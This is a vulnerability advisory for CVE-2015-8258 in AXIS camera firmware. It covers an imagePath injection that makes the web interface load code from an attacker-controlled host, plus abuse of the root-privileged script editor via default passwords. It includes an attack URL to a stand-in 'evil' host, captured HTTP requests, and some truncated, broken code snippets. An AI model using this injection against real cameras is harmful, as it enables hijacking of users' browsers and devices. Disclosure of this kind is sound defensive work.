AXIS Communications XSS / Content Inclusion

Credit: orwelllabs
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Complete
Availability impact: None

0RWELLL4BS ********** security advisory olsa-2015-8258 PGP: 79A6CCC0 @orwelllabs Advisory Information ==================== - Title: ImagePath Resource Injection/Open script editor - Vendor: AXIS Communications - Research and Advisory: Orwelllabs - Class: Improper Input Validation [CWE-20] - CVE Name: CVE-2015-8258 - Affected Versions: Firmwares versions <lt 5.80.x - IoT Attack Surface: Device Administrative Interface/Authentication/Autho rization - OWASP IoTTop10: I1, I2 Technical Details ================= The variable "imagePath=" (that is prone to XSS in a large range of products) also can be used to resource injection intents. If inserted a URL in this variable will be made an GET request to this URL, so this an interesting point to request malicious codes from the attacker machine, and of course, the possibilities are vast (including hook the browser). An attacker sends the following URL for the current Web user interface of the camera: http://{AXISVULNHOST}/view.shtml?imagepath=http://www.3vilh0 This request will be processed normally and will return the status code 200 (OK): [REQUEST] GET /view.shtml?imagepath= HTTP/1.1 Host: {axisvulnhost} User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Digest username="Winst0n", realm="AXIS_XXXXXXXXXXX", nonce="00978cY6s4g@Sadd1b11a9A6ed955e1b5ce9eb", uri="/view.shtml?imagepath=", response="5xxxxxxxxxxxxxxxxxxxxxx", qop=auth, nc=0000002b, cnonce="00rw3ll4bs0rw3lll4bs" Connection: keep-alive GET /evilcode.html HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://{axisvulnhost}/view.shtml?imagepath=http://www.3vilh0 Connection: keep-alive The server response can be seen below (with the clipping of the affected HTML code snippets - just look for ""): <table border="0" cellpadding="3" cellspacing="3"> <tr> <td id="videoStreamTable"> <script language="JavaScript"> <!-- video(''); // --> </script> </td> </tr> </table> [..SNIP..] function listVideoSources() { var formInt = document.listFormInt; var formExt = document.listFormExt; var formCrop = document.listFormCrop; var presetForm = document.listFormPreset; var form = document.WizardForm var currentPath = ''; var imageSource; [..SNIP..] var reload = false; reload |= (other != null &&"seq=yes") >= 0); reload |= (other != null &&"streamprofile=") >= 0); reload |= ((other == null || (other != null &&"streamprofile= ;)(r") == -1)) && ('' != "")); reload |= (imagePath != ''); [..SNIP..] <script SRC="/incl/activeX.js?id=69"></script> </head> <body class="bodyBg" topmargin="0" leftmargin="15" marginwidth="0" marginheight="0" onLoad="DrawTB('no', '', '1', '0', 'no', 'no', 'true', getStreamProfileNbr());" onResize=""> <script language="JavaScript"> [..SNIP..] // Draw the scale buttons var currentResolution = 0 var width = 0 var height = 0 var imagepath = "" var resStart = imagepath.indexOf("resolution=") if (resStart != -1) { var resStop = imagepath.indexOf("&", resStart) [..SNIP..] =================== view.shtml snips ===================== 447 function zoom(size) 448 { 449 var url = document.URL; 450 451 if (url.indexOf("?") == -1) { 452 url += "F?size=" + size 453 } else if (url.indexOf("size=") == -1) { 454 url += "&size=" + size 455 } else { 456 var searchStr = "size=<!--#echo var="size" option="encoding:javascript" -->" 457 var replaceStr = "size=" + size 458 var re = new RegExp(searchStr , "g") 459 url = url.replace(re, replaceStr) 460 } 461 462 document.location = url; 463 } 464 465 var aNewImagePath; 466 467 function reloadPage() 468 { 469 document.location = aNewImagePath; 470 } 471 [ SNIP ] 567 aNewImagePath = '/view/view.shtml?id=<!--#echo var="ssi_request_id" option="encoding:url" -->&imagePath=' + escape(imagePath) + size; 568 if (other != null) 569 aNewImagePath += other; 570 <!--#if expr="$ptzpresets = yes" --> 571 /* append preset parameters so that preset postion is selected in drop down list after reload */ 572 if (presetName != '') 573 aNewImagePath += "&gotopresetname=" + escape(presetName); 574 else if (gotopresetname != '') 575 aNewImagePath += "&gotopresetname=" + escape(gotopresetname); 576 577 if( newCamera != '') 578 aNewImagePath += "&camera=" + escape(newCamera); ---*--- Some legitimate resources can be very interesting to cybercriminals with your hansowares/botnets/bitcoinminer/backdoors/malwares etc. In this case there are some resources, like the "Open Script Editor". By this resource the user can edit any file in the operation system with root privileges, because everything (in the most part of IoT devices) runs with root privileges, this is other dangerous point to keep in mind. > Open Script Editor path: 'System Options' -> 'Advanced' -> 'Scripting' Well, one can say that this feature is restricted to the administrator of the camera, and this would be true if customers were forced to change the default password during setup phase with a strong password policy, since change "pass" to "pass123" does not solve the problem. The aggravating factor is that there are thousands of products available on the internet, running with default credentials. Vendor Information, Solutions and Workarounds +++++++++++++++++++++++++++++++++++++++++++++ According to the manufacturer, the resource injection vulnerability was fixed in firmware 5.60, but we identified that the problem still occurred in 5.80.x versions of various product models. Check for updates on the manufacturer's website. About Open Script Editor,It was considered that in order to have access to this feature, it is necessary to be authenticated as an admin, but if there is no policy that forces the client to change the password during the product setup (ease vs. security) and also requires a password complexity, having an administrative credential to abuse the functionality is not exactly an impediment (e.g: botnets that bring embedded in the code a relation of default credentials for that type of device) Credits ======= These vulnerabilities has been discovered and published by Orwelllabs. Legal Notices ============= The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information. About Orwelllabs ================

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